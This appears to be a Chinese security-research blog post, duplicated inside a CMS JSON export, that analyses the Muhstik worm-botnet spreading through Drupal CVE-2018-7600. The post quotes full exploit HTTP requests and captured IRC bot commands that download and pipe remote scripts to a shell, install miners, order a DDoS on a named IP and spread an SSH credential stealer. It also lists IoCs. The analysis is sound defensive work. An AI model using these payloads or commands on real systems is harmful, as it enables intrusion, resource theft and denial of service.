:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"



#muhstik #植入Muhstik.aioscan扫描模块


:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &



#muhstik #发出DDoS攻击指令；


:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX



#muhstik-SSH #cgminer 挖矿程序的配置文件


:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &



#muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播


:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &



#muhstik-SSH #执行SSH扫描


:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137



#muhstik-i586 #植入 Muhstik.aioscan


:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &



#muhstik-i586 #植入xmrig32挖矿程序


:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &



Muhstik 可能来源已久


通过对 Muhstik 相关域名的历史溯源，我们发现 Muhstik 由来已久，跟以下域名有较为强烈的关联关系。


dasan.deutschland-zahlung.eu
134.ip-51-254-219.eu
uranus.kei.su
wireless.kei.su
www.kei.su
y.fd6fq54s6df541q23sdxfg.eu



IoC


Muhstik C2 List


139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#当前未生效  
66.70.190.236:9090	AS16276 OVH SAS	#当前未生效  
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		#当前未生效  



Muhstik Malware URL


hxxp://51.254.221.129/c/cron
hxxp://51.254.221.129/c/tfti
hxxp://51.254.221.129/c/pftp
hxxp://51.254.221.129/c/ntpd
hxxp://51.254.221.129/c/sshd
hxxp://51.254.221.129/c/bash
hxxp://51.254.221.129/c/pty
hxxp://51.254.221.129/c/shy
hxxp://51.254.221.129/c/nsshtfti
hxxp://51.254.221.129/c/nsshcron
hxxp://51.254.221.129/c/nsshpftp
hxxp://51.254.221.129/c/fbsd
hxxp://191.238.234.227/x/aiox86



Muhstik Malware MD5


c37016e34304ff4a2a0db1894cdcdb92     #Muhstik样本模块
da17dc1438bb039968a5737c6fbc88cd     #Muhstik扫描模块


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"2018年3月28日，Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统，由PHP语言写成，有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中，攻击者可以利用该漏洞完全控制网站。\n\n从2018年4月13日开始，360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析，我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为，感染量显著比其他的恶意软件更多。分析后，我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik，这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。\n\n我们认为 muhstik 有以下特点值得社区关注：\n\n - 蠕虫式传播\n - 长期存在\n - 使用的漏洞利用数目众多\n - 混合使用了多种牟利方式\n\n#### 攻击载荷\n\n按照时间顺序，Muhstik使用了下面两组攻击载荷，这两组载荷占据了全部看到的载荷的80%左右，是我们看到的攻击的主要部分：\n \n* 活跃时间：2018-04-14 03:33:06~ 2018-04-17 15:40:58\n* 活跃时间：2018-04-16 19:38:39~至今\n\n对应的攻击来源，其 IP 地址非常分散，而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标，这是蠕虫式传播的重要指标，引起了我们的警觉。\n\n两组攻击载荷的详细信息如下：\n```\nPOST\n/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: application/x-www-form-urlencoded\nContent-length: 2048\nform_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo \"team6 representing 73de29021fd0d8d2cfd204d2d955a46d\"|tee t6nv\n```\n\n```\nPOST\n/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: application/x-www-form-urlencoded\nContent-length: 170\nform_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php\n```\n\n#### 样本 aiox86 导致了上述攻击载荷 #2\n\n有以下关键样本\n```\nda17dc1438bb039968a5737c6fbc88cd aiox86\n```\n\n我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷：\n\n* 攻击载荷，存在于该样本中\n* 攻击载荷与 #2 非常相似，我们认为应该是该样本的相关样本产生\n\n下图是样本脱壳后的部分片段，与 #2 攻击载荷完全一致。\n![](__GHOST_URL__/content/images/2018/04/drupal-payload-inside-aiox86.png)\n\n事实上，该样本的扫描行为已经比较复杂，远不止前述针对 drupal 漏洞的扫描：\n\n - 扫描目标IP地址：会从远端服务器 191.238.234.227 获取目标IP地址，这样攻击者可以对攻击目标有较为灵活的控制；\n - 投递漏洞载荷：不仅限于 Drupal，还包括另外 6 种漏洞载荷；\n - 扫描目标端口：不仅限于 TCP 80，还包括TCP端口 8080, 7001, 2004；每个端口上会尝试若干不同载荷；\n - 扫描结果上报：载荷植入成功后，会访问远端服务器 51.254.219.134 上报，不同载荷访问不同的URL。通过这种方式，攻击者可以很轻易的识别受害者的弱点。\n\n获取扫描目标IP地址：\n```\nhxxp://191.238.234.227/amazon.php     #我们尝试从这个URL上获得了50个网段，均属于Amazon所有\nhxxp://191.238.234.227/dedi.php       #我们尝试从这个URL上获得了50个网段，所属公司较为分散\n```\n\n所投递的漏洞载荷：\n```\nClipBucket：rss.php\nDasanNetwork Solution：/cgi-bin/index.cgi\nDrupal:CVE-2018-7600\nWebDav\nWeblogic:CVE-2017-10271\nWebuzo:install.php\nWordpress:install.php\n```\n\n扫描目标端口与载荷的对应关系：\n```\n80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket\n2004：Webuzo\n7001：Weblogic\n8080：Wordpress，WebDav，DasanNetwork Solution\n```\n\n载荷上报信息接口：\n```\nhxxp://51.254.219.134/clipbucket.php\t#ClipBucket\nhxxp://51.254.219.134/dasan.php\t#DasanNetwork_Solution\nhxxp://51.254.219.134/dav.php\t#Webdav\nhxxp://51.254.219.134/drupal.php\t#Drupal\nhxxp://51.254.219.134/oracleaudit.php?port=\t#Weblogic\nhxxp://51.254.219.134/tomato.php\t#http401，用作探测中间状态\nhxxp://51.254.219.134/webuzo.php\t#Webuzo\nhxxp://51.254.219.134/wp.php\t#Wordpress\n```\n\n#### 样本aiox86 是由 Muhstik 僵尸网络分发的\n\n在 360网络安全研究院，我们持续的监控诸多僵尸网络的攻击指令。本次我们发现，139.99.101.96:9090 控制服务器，在2018-04-19 04:04附近，通过下述指令分发了样本 aiox86：\n\n![](__GHOST_URL__/content/images/2018/04/aiox86-released-by-139.99.101.96-a-muhstik-c2.png)\n\n上述C2，隶属于 Muhstik 僵尸网络家族。\n\n#### Muhstik 僵尸网络家族\n\nMuhstik 是 Tsunami 僵尸网络的一个变种，其特点包括：\n\n - 代表样本： c37016e34304ff4a2a0db1894cdcdb92\n - C2服务器： 域名/IP地址共计11个，见后，端口均为 9090。我们猜测这是为了负载均衡\n - 通信协议： 基于IRC服务协议，通过不同的Channel发送不同指令\n - IRC Channel：我们观察到有多个IRC Channel，均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle，这是由IRC协议本身的特性决定的，仅在我们接收到对应Channel里的通信指令时，才能确认攻击者在该服务器上开通了该Channel\n\nMuhstik 僵尸网络的结构已经比较复杂了，如前所述，样本中硬编码了11个C2域名/IP。除此之外，其传播和获利方式也多种多样。\n\nMuhstik 的传播模块：\n\n - aioscan扫描模块：如前所述，该扫描模块里包含了4个端口上6种扫描载荷\n - SSH扫描模块：弱口令扫描\n\nMuhstik 的获利方式：\n\n - xmrig 挖矿：挖取XMR数字代币，对应的矿池地址是147.135.208.145:4871，自建矿池。\n - cgminer挖矿：挖取BTC数字代币，使用了多个矿池，用户名均为reb0rn.D3\n - DDoS 攻击：我们在2018-04-19 当天 07:20~07:40期间，截获多条针对 46.243.189.102 的攻击指令。（在我们的DDoSMon.net没有看到这次攻击，但是看到了较早前针对该IP地址的多次攻击）\n\nMuhstik cgminer 钱包和矿池地址：\n```\n  {\n    \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n    \"user\": \"reb0rn.D3\",\n    \"pass\": \"x\"\n  },\n  {\n    \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n    \"user\": \"reb0rn.D3\",\n    \"pass\": \"x\"\n  },\n  {\n    \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n    \"user\": \"reb0rn.D3\",\n    \"pass\": \"x\"\n  }\n```\n\nMuhstik  C2 列表，按照其在样本中硬编码的顺序：\n```\n139.99.101.96:9090\tAS16276 OVH SAS\t\n144.217.84.99:9090\tAS16276 OVH SAS\t\n145.239.84.0:9090\tAS16276 OVH SAS\t\n147.135.210.184:9090\tAS16276 OVH SAS\t\n142.44.163.168:9090\tAS16276 OVH SAS\t\n192.99.71.250:9090\tAS16276 OVH SAS\t\n142.44.240.14:9090\tAS16276 OVH SAS\t\n121.128.171.44:9090\tAS4766 Korea Telecom\t#当前未生效  \n66.70.190.236:9090\tAS16276 OVH SAS\t#当前未生效  \n145.239.93.125:9090\tAS16276 OVH SAS\t\nirc.de-zahlung.eu:9090\t\t#当前未生效  \n```\n\nIRC Channel，字母序：\n```\n#muhstik\n#muhstik-i586\n#muhstik-SSH\n#muhstik-x86\n```\n\n我们监听这些 IRC Channel时获取到若干指令，部分指令如下，截图依次见后：\n```\n#muhstik-x86  #植入xmrig64挖矿程序；\n#muhstik-x86  #植入Muhstik.aioscan扫描模块\n#muhstik-x86  #探测bot是否有drupal存在\n#muhstik      #植入Muhstik.aioscan扫描模块\n#muhstik      #发出DDoS攻击指令；\n#muhstik-SSH  #cgminer 挖矿程序的配置文件；\n#muhstik-SSH  #执行SSH扫描\n#muhstik-SSH  #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播\n#muhstik-i586 #植入 Muhstik.aioscan\n#muhstik-i586 #植入xmrig32挖矿程序\n```\n\n\\#muhstik-x86 #植入xmrig64挖矿程序\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & \n```\n\n\\#muhstik-x86 #植入Muhstik.aioscan扫描模块\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &\n```\n\n\\#muhstik-x86 #探测bot是否有drupal存在\n```\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1))\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1)) || echo \"No drupal\"\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d\" \" -f 1))\n:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1)) || echo \"No drupal\"\n```\n\n\\#muhstik #植入Muhstik.aioscan扫描模块\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &\n```\n\n\\#muhstik #发出DDoS攻击指令；\n```\n:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX\n```\n\n\\#muhstik-SSH #cgminer 挖矿程序的配置文件\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api \"addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x\" && cgminer-api \"switchpool|3\" ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api \"addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x\" && cgminer-api \"switchpool|3\" ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &\n```\n\n\\#muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播\n```\n:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &\n```\n\n\n\n\\#muhstik-SSH #执行SSH扫描\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137\n```\n\n\\#muhstik-i586 #植入 Muhstik.aioscan\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &\n```\n\n\\#muhstik-i586 #植入xmrig32挖矿程序\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &\n```\n\n#### Muhstik 可能来源已久\n\n通过对 Muhstik 相关域名的历史溯源，我们发现 Muhstik 由来已久，跟以下域名有较为强烈的关联关系。\n```\ndasan.deutschland-zahlung.eu\n134.ip-51-254-219.eu\nuranus.kei.su\nwireless.kei.su\nwww.kei.su\ny.fd6fq54s6df541q23sdxfg.eu\n```\n\n\n#### IoC\nMuhstik C2 List\n```\n139.99.101.96:9090\tAS16276 OVH SAS\t\n144.217.84.99:9090\tAS16276 OVH SAS\t\n145.239.84.0:9090\tAS16276 OVH SAS\t\n147.135.210.184:9090\tAS16276 OVH SAS\t\n142.44.163.168:9090\tAS16276 OVH SAS\t\n192.99.71.250:9090\tAS16276 OVH SAS\t\n142.44.240.14:9090\tAS16276 OVH SAS\t\n121.128.171.44:9090\tAS4766 Korea Telecom\t#当前未生效  \n66.70.190.236:9090\tAS16276 OVH SAS\t#当前未生效  \n145.239.93.125:9090\tAS16276 OVH SAS\t\nirc.de-zahlung.eu:9090\t\t#当前未生效  \n```\n\nMuhstik Malware URL\n```\nhxxp://51.254.221.129/c/cron\nhxxp://51.254.221.129/c/tfti\nhxxp://51.254.221.129/c/pftp\nhxxp://51.254.221.129/c/ntpd\nhxxp://51.254.221.129/c/sshd\nhxxp://51.254.221.129/c/bash\nhxxp://51.254.221.129/c/pty\nhxxp://51.254.221.129/c/shy\nhxxp://51.254.221.129/c/nsshtfti\nhxxp://51.254.221.129/c/nsshcron\nhxxp://51.254.221.129/c/nsshpftp\nhxxp://51.254.221.129/c/fbsd\nhxxp://191.238.234.227/x/aiox86\n```\n\nMuhstik Malware MD5\n```\nc37016e34304ff4a2a0db1894cdcdb92     #Muhstik样本模块\nda17dc1438bb039968a5737c6fbc88cd     #Muhstik扫描模块\n```"}]],"markups":[],"sections":[[10,0]],"ghostVersion":"3.0"}